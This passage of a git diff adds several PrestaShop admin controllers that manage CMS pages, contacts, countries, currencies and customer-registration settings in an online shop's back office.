$admin_dir = dirname($_SERVER['PHP_SELF']); + $admin_dir = substr($admin_dir, strrpos($admin_dir, '/') + 1); + $params = http_build_query(array( + 'adtoken' => Tools::getAdminTokenLite('AdminCmsContent'), + 'ad' => $admin_dir, + 'id_employee' => (int)$this->context->employee->id) + ); + if (Configuration::get('PS_REWRITING_SETTINGS')) + $params = '?'.$params; + else + $params = '&'.$params; + $preview_url .= $cms->active ? '' : $params; + } + Tools::redirectAdmin($preview_url); + } + elseif (Tools::isSubmit('submitAdd'.$this->table.'AndStay')) + Tools::redirectAdmin(self::$currentIndex.'&'.$this->identifier.'='.$cms->id.'&conf=4&update'.$this->table.'&token='.Tools::getAdminTokenLite('AdminCmsContent')); + else + Tools::redirectAdmin(self::$currentIndex.'&id_cms_category='.$cms->id_cms_category.'&conf=4&token='.Tools::getAdminTokenLite('AdminCmsContent')); + } + elseif (Tools::isSubmit('way') && Tools::isSubmit('id_cms') && (Tools::isSubmit('position'))) + { + if ($this->tabAccess['edit'] !== '1') + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + elseif (!Validate::isLoadedObject($object = $this->loadObject())) + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.') + .' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + elseif (!$object->updatePosition((int)Tools::getValue('way'), (int)Tools::getValue('position'))) + $this->errors[] = Tools::displayError('Failed to update the position.'); + else + Tools::redirectAdmin(self::$currentIndex.'&'.$this->table.'Orderby=position&'.$this->table.'Orderway=asc&conf=4&id_cms_category='.(int)$object->id_cms_category.'&token='.Tools::getAdminTokenLite('AdminCmsContent')); + } + /* Change object statuts (active, inactive) */ + elseif (Tools::isSubmit('statuscms') && Tools::isSubmit($this->identifier)) + { + if ($this->tabAccess['edit'] === '1') + { + if (Validate::isLoadedObject($object = $this->loadObject())) + { + if ($object->toggleStatus()) + Tools::redirectAdmin(self::$currentIndex.'&conf=5&id_cms_category='.(int)$object->id_cms_category.'&token='.Tools::getValue('token')); + else + $this->errors[] = Tools::displayError('An error occurred while updating the status.'); + } + else + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.') + .' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + /* Delete multiple CMS content */ + elseif (Tools::isSubmit('submitBulkdeletecms')) + { + if ($this->tabAccess['delete'] === '1') + { + $this->action = 'bulkdelete'; + $this->boxes = Tools::getValue($this->table.'Box'); + if (is_array($this->boxes) && array_key_exists(0, $this->boxes)) + { + $firstCms = new CMS((int)$this->boxes[0]); + $id_cms_category = (int)$firstCms->id_cms_category; + if (!$res = parent::postProcess(true)) + return $res; + Tools::redirectAdmin(self::$currentIndex.'&conf=2&token='.Tools::getAdminTokenLite('AdminCmsContent').'&id_cms_category='.$id_cms_category); + } + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + else + parent::postProcess(true); + } +} + + diff --git a/controllers/admin/AdminContactsController.php b/controllers/admin/AdminContactsController.php new file mode 100755 index 0000000..5cc4c18 --- /dev/null +++ b/controllers/admin/AdminContactsController.php @@ -0,0 +1,125 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminContactsControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'contact'; + $this->className = 'Contact'; + $this->lang = true; + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'id_contact' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'name' => array('title' => $this->l('Title'), 'width' => 130), + 'email' => array('title' => $this->l('Email address'), 'width' => 130), + 'description' => array('title' => $this->l('Description'), 'width' => 150), + ); + + parent::__construct(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Contacts'), + 'image' => '../img/admin/contact.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Title'), + 'name' => 'name', + 'size' => 33, + 'required' => true, + 'lang' => true, + 'desc' => $this->l('Contact name (e.g. Customer Support)'), + ), + array( + 'type' => 'text', + 'label' => $this->l('Email address'), + 'name' => 'email', + 'size' => 33, + 'required' => false, + 'desc' => $this->l('Emails will be sent to this address'), + ), + array( + 'type' => 'radio', + 'label' => $this->l('Save messages?'), + 'name' => 'customer_service', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'desc' => $this->l('If enabled, all messages will be saved in the "Customer Service" page under the "Customer" menu.'), + 'values' => array( + array( + 'id' => 'customer_service_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'customer_service_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Description'), + 'name' => 'description', + 'required' => false, + 'lang' => true, + 'cols' => 36, + 'rows' => 5, + 'desc' => $this->l('Further information regarding this contact'), + ), + ), + 'submit' => array( + 'title' => $this->l('Save '), + 'class' => 'button' + ) + ); + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + return parent::renderForm(); + } + +} + + diff --git a/controllers/admin/AdminCountriesController.php b/controllers/admin/AdminCountriesController.php new file mode 100755 index 0000000..5a80556 --- /dev/null +++ b/controllers/admin/AdminCountriesController.php @@ -0,0 +1,461 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCountriesControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'country'; + $this->className = 'Country'; + $this->lang = true; + $this->deleted = false; + + $this->explicitSelect = true; + $this->addRowAction('edit'); + + $this->context = Context::getContext(); + + $this->bulk_actions = array( + 'delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?')), + 'enableSelection' => array('text' => $this->l('Enable selection')), + 'disableSelection' => array('text' => $this->l('Disable selection')), + 'affectzone' => array('text' => $this->l('Assign to a new zone')) + ); + + $this->fieldImageSettings = array( + 'name' => 'logo', + 'dir' => 'st' + ); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Country options'), + 'fields' => array( + 'PS_RESTRICT_DELIVERED_COUNTRIES' => array( + 'title' => $this->l('Restrict country selections in Front Office to those covered by active carriers'), + 'cast' => 'intval', + 'type' => 'bool', + 'default' => '0' + ) + ), + 'submit' => array() + ) + ); + + $this->fields_list = array( + 'id_country' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Country'), + 'width' => 'auto', + 'filter_key' => 'b!name' + ), + 'iso_code' => array( + 'title' => $this->l('ISO code'), + 'width' => 70, + 'align' => 'center' + ), + 'call_prefix' => array( + 'title' => $this->l('Call prefix'), + 'width' => 150, + 'align' => 'center', + 'callback' => 'displayCallPrefix' + ), + 'zone' => array( + 'title' => $this->l('Zone'), + 'width' => 100, + 'filter_key' => 'z!name' + ), + 'active' => array( + 'title' => $this->l('Enabled'), + 'align' => 'center', + 'active' => 'status', + 'type' => 'bool', + 'orderby' => false, + 'filter_key' => 'a!active', + 'width' => 25 + ) + ); + + parent::__construct(); + } + + /** + * AdminController::setMedia() override + * @see AdminController::setMedia() + */ + public function setMedia() + { + parent::setMedia(); + + $this->addJqueryPlugin('fieldselection'); + } + + public function renderList() + { + $this->_select = 'z.`name` AS zone'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'zone` z ON (z.`id_zone` = a.`id_zone`)'; + + $this->tpl_list_vars['zones'] = Zone::getZones(); + return parent::renderList(); + } + + public function renderForm() + { + if (!($obj = $this->loadObject(true))) + return; + + $address_layout = AddressFormat::getAddressCountryFormat($obj->id); + if ($value = Tools::getValue('address_layout')) + $address_layout = $value; + + $default_layout = ''; + + $default_layout_tab = array( + array('firstname', 'lastname'), + array('company'), + array('vat_number'), + array('address1'), + array('address2'), + array('postcode', 'city'), + array('Country:name'), + array('phone')); + + foreach ($default_layout_tab as $line) + $default_layout .= implode(' ', $line)."\r\n"; + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Countries'), + 'image' => '../img/admin/world.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Country:'), + 'name' => 'name', + 'lang' => true, + 'size' => 30, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + 'desc' => $this->l('Country name') + ), + array( + 'type' => 'text', + 'label' => $this->l('ISO code:'), + 'name' => 'iso_code', + 'size' => 4, + 'maxlength' => 3, + 'class' => 'uppercase', + 'required' => true, + 'desc' => $this->l('Two -- or three -- letter ISO code (e.g. U.S. for United States)').'. + <a href="http://www.iso.org/iso/country_codes/iso_3166_code_lists/country_names_and_code_elements.htm" target="_blank">'. + $this->l('Official list here').' + </a>.' + ), + array( + 'type' => 'text', + 'label' => $this->l('Call prefix:'), + 'name' => 'call_prefix', + 'size' => 4, + 'maxlength' => 3, + 'class' => 'uppercase', + 'required' => true, + 'desc' => $this->l('International call prefix, (e.g. 1 for United States)') + ), + array( + 'type' => 'select', + 'label' => $this->l('Default currency:'), + 'name' => 'id_currency', + 'options' => array( + 'query' => Currency::getCurrencies(), + 'id' => 'id_currency', + 'name' => 'name', + 'default' => array( + 'label' => $this->l('Default store currency'), + 'value' => 0 + ) + ) + ), + array( + 'type' => 'select', + 'label' => $this->l('Zone:'), + 'name' => 'id_zone', + 'options' => array( + 'query' => Zone::getZones(), + 'id' => 'id_zone', + 'name' => 'name' + ), + 'desc' => $this->l('Geographical region') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Need zip/postal code:'), + 'name' => 'need_zip_code', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'need_zip_code_on', + 'value' => 1, + 'label' => $this->l('Yes') + ), + array( + 'id' => 'need_zip_code_off', + 'value' => 0, + 'label' => $this->l('No') + ) + ) + ), + array( + 'type' => 'text', + 'label' => $this->l('Zip/post code format:'), + 'name' => 'zip_code_format', + 'class' => 'uppercase', + 'required' => true, + 'desc' => $this->l('Zip Code format (L for a letter, N for a number and C for the ISO code). For example, NNNNN for the United States. No verification if undefined.') + ), + array( + 'type' => 'address_layout', + 'label' => $this->l('Address format:'), + 'name' => 'address_layout', + 'address_layout' => $address_layout, + 'encoding_address_layout' => urlencode($address_layout), + 'encoding_default_layout' => urlencode($default_layout), + 'display_valid_fields' => $this->displayValidFields() + ), + array( + 'type' => 'radio', + 'label' => $this->l('Active:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Display this country to your customers (the selected country will always be displayed in the Back Office)') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Contains following states:'), + 'name' => 'contains_states', + 'required' => false, + 'class' => 't', + 'values' => array( + array( + 'id' => 'contains_states_on', + 'value' => 1, + 'label' => '<img src="../img/admin/enabled.gif" alt="'.$this->l('Yes').'" title="'.$this->l('Yes').'" />'.$this->l('Yes') + ), + array( + 'id' => 'contains_states_off', + 'value' => 0, + 'label' => '<img src="../img/admin/disabled.gif" alt="'.$this->l('No').'" title="'.$this->l('No').'" />'.$this->l('No') + ) + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Do you need a tax identification number?'), + 'name' => 'need_identification_number', + 'required' => false, + 'class' => 't', + 'values' => array( + array( + 'id' => 'need_identification_number_on', + 'value' => 1, + 'label' => '<img src="../img/admin/enabled.gif" alt="'.$this->l('Yes').'" title="'.$this->l('Yes').'" />'.$this->l('Yes') + ), + array( + 'id' => 'need_identification_number_off', + 'value' => 0, + 'label' => '<img src="../img/admin/disabled.gif" alt="'.$this->l('No').'" title="'.$this->l('No').'" />'.$this->l('No') + ) + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Display tax label (e.g. "Tax incl."):'), + 'name' => 'display_tax_label', + 'required' => false, + 'class' => 't', + 'values' => array( + array( + 'id' => 'display_tax_label_on', + 'value' => 1, + 'label' => '<img src="../img/admin/enabled.gif" alt="'.$this->l('Yes').'" title="'.$this->l('Yes').'" />'.$this->l('Yes') + ), + array( + 'id' => 'display_tax_label_off', + 'value' => 0, + 'label' => '<img src="../img/admin/disabled.gif" alt="'.$this->l('No').'" title="'.$this->l('No').'" />'.$this->l('No') + ) + ) + ) + ) + ); + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save '), + 'class' => 'button' + ); + + return parent::renderForm(); + } + + public function postProcess() + { + if (!Tools::getValue('id_'.$this->table)) + { + if (Validate::isLanguageIsoCode(Tools::getValue('iso_code')) && Country::getByIso(Tools::getValue('iso_code'))) + $this->errors[] = Tools::displayError('This ISO code already exists.You cannot create two countries with the same ISO code.'); + } + else if (Validate::isLanguageIsoCode(Tools::getValue('iso_code'))) + { + $id_country = Country::getByIso(Tools::getValue('iso_code')); + if (!is_null($id_country) && $id_country != Tools::getValue('id_'.$this->table)) + $this->errors[] = Tools::displayError('This ISO code already exists.You cannot create two countries with the same ISO code.'); + } + + if (!count($this->errors)) + $res = parent::postProcess(); + else + return false; + + if (Tools::getValue('submitAdd'.$this->table) && $res) + { + $id_country = ($id_country = Tools::getValue('id_country')) ? $id_country : $res['id']; + $tmp_addr_format = new AddressFormat($id_country); + + $save_status = false; + + $is_new = is_null($tmp_addr_format->id_country); + if ($is_new) + { + $tmp_addr_format = new AddressFormat(); + $tmp_addr_format->id_country = $id_country; + } + + $tmp_addr_format->format = Tools::getValue('address_layout'); + + if (strlen($tmp_addr_format->format) > 0) + { + if ($tmp_addr_format->checkFormatFields()) + $save_status = ($is_new) ? $tmp_addr_format->save(): $tmp_addr_format->update(); + else + { + $error_list = $tmp_addr_format->getErrorList(); + foreach ($error_list as $num_error => $error) + $this->errors[] = $error; + } + + if (!$save_status) + $this->errors[] = Tools::displayError('Invalid address layout '.Db::getInstance()->getMsgError()); + } + unset($tmp_addr_format); + } + + return $res; + } + + public function processStatus() + { + if (Validate::isLoadedObject($object = $this->loadObject())) + Country::addModuleRestrictions(array(), array(array('id_country' => $object->id)), array()); + + parent::processStatus(); + } + + public function processBulkStatusSelection($way) + { + if (is_array($this->boxes) && !empty($this->boxes)) + { + $countries_ids = array(); + foreach ($this->boxes as $id) + $countries_ids[] = array('id_country' => $id); + + if (count($countries_ids)) + Country::addModuleRestrictions(array(), $countries_ids, array()); + } + parent::processBulkStatusSelection($way); + } + + + protected function displayValidFields() + { + $html = '<ul>'; + + $object_list = AddressFormat::getLiableClass('Address'); + $object_list['Address'] = null; + + // Get the available properties for each class + foreach ($object_list as $class_name => &$object) + { + $fields = array(); + + $html .= '<li> + <a href="javascript:void(0);" onClick="displayAvailableFields(\''.$class_name.'\')">'.$class_name.'</a>'; + foreach (AddressFormat::getValidateFields($class_name) as $name) + $fields[] = '<a style="color:#4B8;" href="javascript:void(0);" class="addPattern" id="'.($class_name == 'Address' ? $name : $class_name.':'.$name).'"> + '.$name.'</a>'; + $html .= ' + <div class="availableFieldsList" id="availableListFieldsFor_'.$class_name.'" style="width:300px;"> + '.implode(', ', $fields).'</div></li>'; + unset($object); + } + return $html .= '</ul>'; + } + + public static function displayCallPrefix($prefix) + { + return ((int)$prefix ? '+'.$prefix : '-'); + } +} + + diff --git a/controllers/admin/AdminCurrenciesController.php b/controllers/admin/AdminCurrenciesController.php new file mode 100755 index 0000000..e4a7a33 --- /dev/null +++ b/controllers/admin/AdminCurrenciesController.php @@ -0,0 +1,352 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCurrenciesControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'currency'; + $this->className = 'Currency'; + $this->lang = false; + + $this->fields_list = array( + 'id_currency' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'name' => array('title' => $this->l('Currency')), + 'iso_code' => array('title' => $this->l('ISO code'), 'align' => 'center', 'width' => 80), + 'iso_code_num' => array('title' => $this->l('ISO code number'), 'align' => 'center', 'width' => 120), + 'sign' => array('title' => $this->l('Symbol'), 'width' => 20, 'align' => 'center', 'orderby' => false, 'search' => false), + 'conversion_rate' => array('title' => $this->l('Conversion rate'), 'type' => 'float', 'align' => 'center', 'width' => 130, 'search' => false), + 'active' => array('title' => $this->l('Enabled'), 'width' => 25, 'align' => 'center', 'active' => 'status', 'type' => 'bool', 'orderby' => false), + ); + + $this->bulk_actions = array( + 'delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?')), + 'enableSelection' => array('text' => $this->l('Enable selection')), + 'disableSelection' => array('text' => $this->l('Disable selection')) + ); + + $this->fields_options = array( + 'change' => array( + 'title' => $this->l('Currency rates'), + 'image' => '../img/admin/exchangesrate.gif', + 'description' => $this->l('Use PrestaShop\'s webservice to update your currency exchange rates. Please use caution, however, rates are provided as-is.'), + 'submit' => array( + 'title' => $this->l('Update currency rates'), + 'class' => 'button', + 'name' => 'SubmitExchangesRates' + ) + ), + 'cron' => array( + 'title' => $this->l('Automatically update currency rates'), + 'image' => '../img/admin/tab-tools.gif', + 'info' => $this->l('Use PrestaShop\'s webservice to update your currency exchange rates. Please use caution, rates are provided as-is. You can place this URL in the crontab,or access it manually.').':<br /> + <b>'.Tools::getShopDomain(true, true).__PS_BASE_URI__.basename(_PS_ADMIN_DIR_).'/cron_currency_rates.php?secure_key='.md5(_COOKIE_KEY_.Configuration::get('PS_SHOP_NAME')).'</b></p>', + ) + ); + + parent::__construct(); + + $this->_select .= 'currency_shop.conversion_rate conversion_rate'; + $this->_join .= Shop::addSqlAssociation('currency', 'a'); + $this->_group .= 'GROUP BY id_currency'; + } + + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_where = 'AND a.`deleted` = 0'; + + return parent::renderList(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Currencies:'), + 'image' => '../img/admin/money.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Currency name:'), + 'name' => 'name', + 'size' => 30, + 'maxlength' => 32, + 'required' => true, + 'hint' => $this->l('Only letters and the minus character are allowed.') + ), + array( + 'type' => 'text', + 'label' => $this->l('ISO code:'), + 'name' => 'iso_code', + 'size' => 30, + 'maxlength' => 32, + 'required' => true, + 'desc' => $this->l('ISO code (e.g. USD for Dollars, EUR for Euros)').'...', + ), + array( + 'type' => 'text', + 'label' => $this->l('Numeric ISO code:'), + 'name' => 'iso_code_num', + 'size' => 30, + 'maxlength' => 32, + 'required' => true, + 'desc' => $this->l('Numeric ISO code (e.g. 840 for Dollars, 978 for Euros)').'...', + ), + array( + 'type' => 'text', + 'label' => $this->l('Symbol:'), + 'name' => 'sign', + 'size' => 3, + 'maxlength' => 8, + 'required' => true, + 'desc' => $this->l('Will appear in Front Office (e.g. $, €)').'...', + ), + array( + 'type' => 'text', + 'label' => $this->l('Conversion rate:'), + 'name' => 'conversion_rate', + 'size' => 3, + 'maxlength' => 11, + 'required' => true, + 'desc' => $this->l('Conversion rates are calculated from one unit of your shop\'s default currency. For example, if the default currency is euros and your chosen currency is dollars, type "1.20"').' 1€ = $1.20', + ), + array( + 'type' => 'select', + 'label' => $this->l('Currency format:'), + 'name' => 'format', + 'size' => 3, + 'maxlength' => 11, + 'required' => true, + 'desc' =>$this->l('Applies to all prices, e.g.').' $1,240.15', + 'options' => array( + 'query' => array( + array('key' => 1, 'name' => 'X0,000.00 ('.$this->l('as with Dollars').')'), + array('key' => 2, 'name' => '0 000,00X ('.$this->l('as with Euros').')'), + array('key' => 3, 'name' => 'X0.000,00'), + array('key' => 4, 'name' => '0,000.00X'), + array('key' => 5, 'name' => '0 000.00X') // Added for the switzerland currency + ), + 'name' => 'name', + 'id' => 'key' + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Decimals:'), + 'name' => 'decimals', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'desc' => $this->l('Display decimals in prices'), + 'values' => array( + array( + 'id' => 'decimals_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'decimals_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + ), + array( + 'type' => 'radio', + 'label' => $this->l('Spacing:'), + 'name' => 'blank', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'desc' => $this->l('Include a space between symbol and price, e.g.').'<br />$1,240.15 -> $ 1,240.15', + 'values' => array( + array( + 'id' => 'blank_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'blank_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + ), + array( + 'type' => 'radio', + 'label' => $this->l('Enable:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ) + ) + ) + ); + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save '), + 'class' => 'button' + ); + + return parent::renderForm(); + } + + protected function checkDeletion($object) + { + if (Validate::isLoadedObject($object)) + { + if ($object->id == Configuration::get('PS_CURRENCY_DEFAULT')) + $this->errors[] = $this->l('You cannot delete the default currency'); + else + return true; + } + else + $this->errors[] = Tools::displayError('An error occurred while deleting the object.').' + <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + + return false; + } + + protected function checkDisableStatus($object) + { + if (Validate::isLoadedObject($object)) + { + if ($object->active && $object->id == Configuration::get('PS_CURRENCY_DEFAULT')) + $this->errors[] = $this->l('You cannot disable the default currency'); + else + return true; + } + else + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.').' + <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + + return false; + } + + /** + * @see AdminController::processDelete() + */ + public function processDelete() + { + $object = $this->loadObject(); + if (!$this->checkDeletion($object)) + return false; + return parent::processDelete(); + } + + protected function processBulkDelete() + { + if (is_array($this->boxes) && !empty($this->boxes)) + { + foreach ($this->boxes as $id_currency) + { + $object = new Currency((int)$id_currency); + if (!$this->checkDeletion($object)) + return false; + } + } + + return parent::processBulkDelete(); + } + + /** + * @see AdminController::processStatus() + */ + public function processStatus() + { + $object = $this->loadObject(); + if (!$this->checkDisableStatus($object)) + return false; + + return parent::processStatus(); + } + + protected function processBulkDisableSelection() + { + if (is_array($this->boxes) && !empty($this->boxes)) + { + foreach ($this->boxes as $id_currency) + { + $object = new Currency((int)$id_currency); + if (!$this->checkDisableStatus($object)) + return false; + } + } + return parent::processBulkDisableSelection(); + } + + /** + * Update currency exchange rates + */ + public function processExchangeRates() + { + if (!$this->errors = Currency::refreshCurrencies()) + Tools::redirectAdmin(self::$currentIndex.'&conf=6&token='.$this->token); + } + + /** + * @see AdminController::initProcess() + */ + public function initProcess() + { + if (Tools::isSubmit('SubmitExchangesRates')) + { + if ($this->tabAccess['edit'] === '1') + $this->action = 'exchangeRates'; + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + if (Tools::isSubmit('submitAddcurrency') && !Tools::getValue('id_currency') && Currency::exists(Tools::getValue('iso_code'), Tools::getValue('iso_code_num'))) + $this->errors[] = Tools::displayError('This currency already exists.'); + parent::initProcess(); + } +} + diff --git a/controllers/admin/AdminCustomerPreferencesController.php b/controllers/admin/AdminCustomerPreferencesController.php new file mode 100755 index 0000000..07e7393 --- /dev/null +++ b/controllers/admin/AdminCustomerPreferencesController.php @@ -0,0 +1,120 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminCustomerPreferencesControllerCore extends AdminController +{ + public function __construct() + { + $this->className = 'Configuration'; + $this->table = 'configuration'; + + parent::__construct(); + + $registration_process_type = array( + array( + 'value' => PS_REGISTRATION_PROCESS_STANDARD, + 'name' => $this->l('Only account creation') + ), + array( + 'value' => PS_REGISTRATION_PROCESS_AIO, + 'name' => $this->l('Standard (account creation and address creation)') + ) + ); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('General'), + 'icon' => 'tab-preferences', + 'fields' => array( + 'PS_REGISTRATION_PROCESS_TYPE' => array( + 'title' => $this->l('Registration process type'), + 'desc' => $this->l('The "Only account creation" registration option allows the customer to register faster, and create his/her address later.'), + 'validation' => 'isInt', + 'cast' => 'intval', + 'type' => 'select', + 'list' => $registration_process_type, + 'identifier' => 'value' + ), + 'PS_ONE_PHONE_AT_LEAST' => array( + 'title' => $this->l('Phone number'), + 'desc' => $this->l('If you chose yes, your customer will have to provide at least one phone number to register.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_CART_FOLLOWING' => array( + 'title' => $this->l('Cart re-display at login'), + 'desc' => $this->l('After customer logs in, you can recall and display the content of his/her last shopping cart.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_PASSWD_TIME_FRONT' => array( + 'title' => $this->l('Regenerate password'), + 'desc' => $this->l('Minimum time required to regenerate a password.'), + 'validation' => 'isUnsignedInt', + 'cast' => 'intval', + 'size' => 5, + 'type' => 'text', + 'suffix' => $this->l('minutes') + ), + 'PS_B2B_ENABLE' => array( + 'title' => $this->l('Enable B2B mode'), + 'desc' => $this->l('Activate or deactivate B2B mode. When this option is enabled, B2B features will be made available.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + ), + 'submit' => array('title' => $this->l('Save'), 'class' => 'button'), + ), + ); + } + + /** + * Update PS_B2B_ENABLE and enables / disables the associated tabs + * @param $value integer Value of option + */ + public function updateOptionPsB2bEnable($value) + { + $value = (int)$value; + + $tabs_class_name = array('AdminOutstanding'); + if (!empty($tabs_class_name)) + { + foreach ($tabs_class_name as $tab_class_name) + { + $tab = Tab::getInstanceFromClassName($tab_class_name); + if (Validate::isLoadedObject($tab)) + { + $tab->active = $value; + $tab->save(); + } + } + } + Configuration::updateValue('PS_B2B_ENABLE', $value); + } +} diff --git a/controllers/admin/AdminCustomerThreadsController.php b/controllers/admin/AdminCustomerThreadsController.php new file mode 100755 index 0000000..b678cc1 --- /dev/null +++ b/controllers/admin/AdminCustomerThreadsController.php @@ -0,0 +1,805 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is 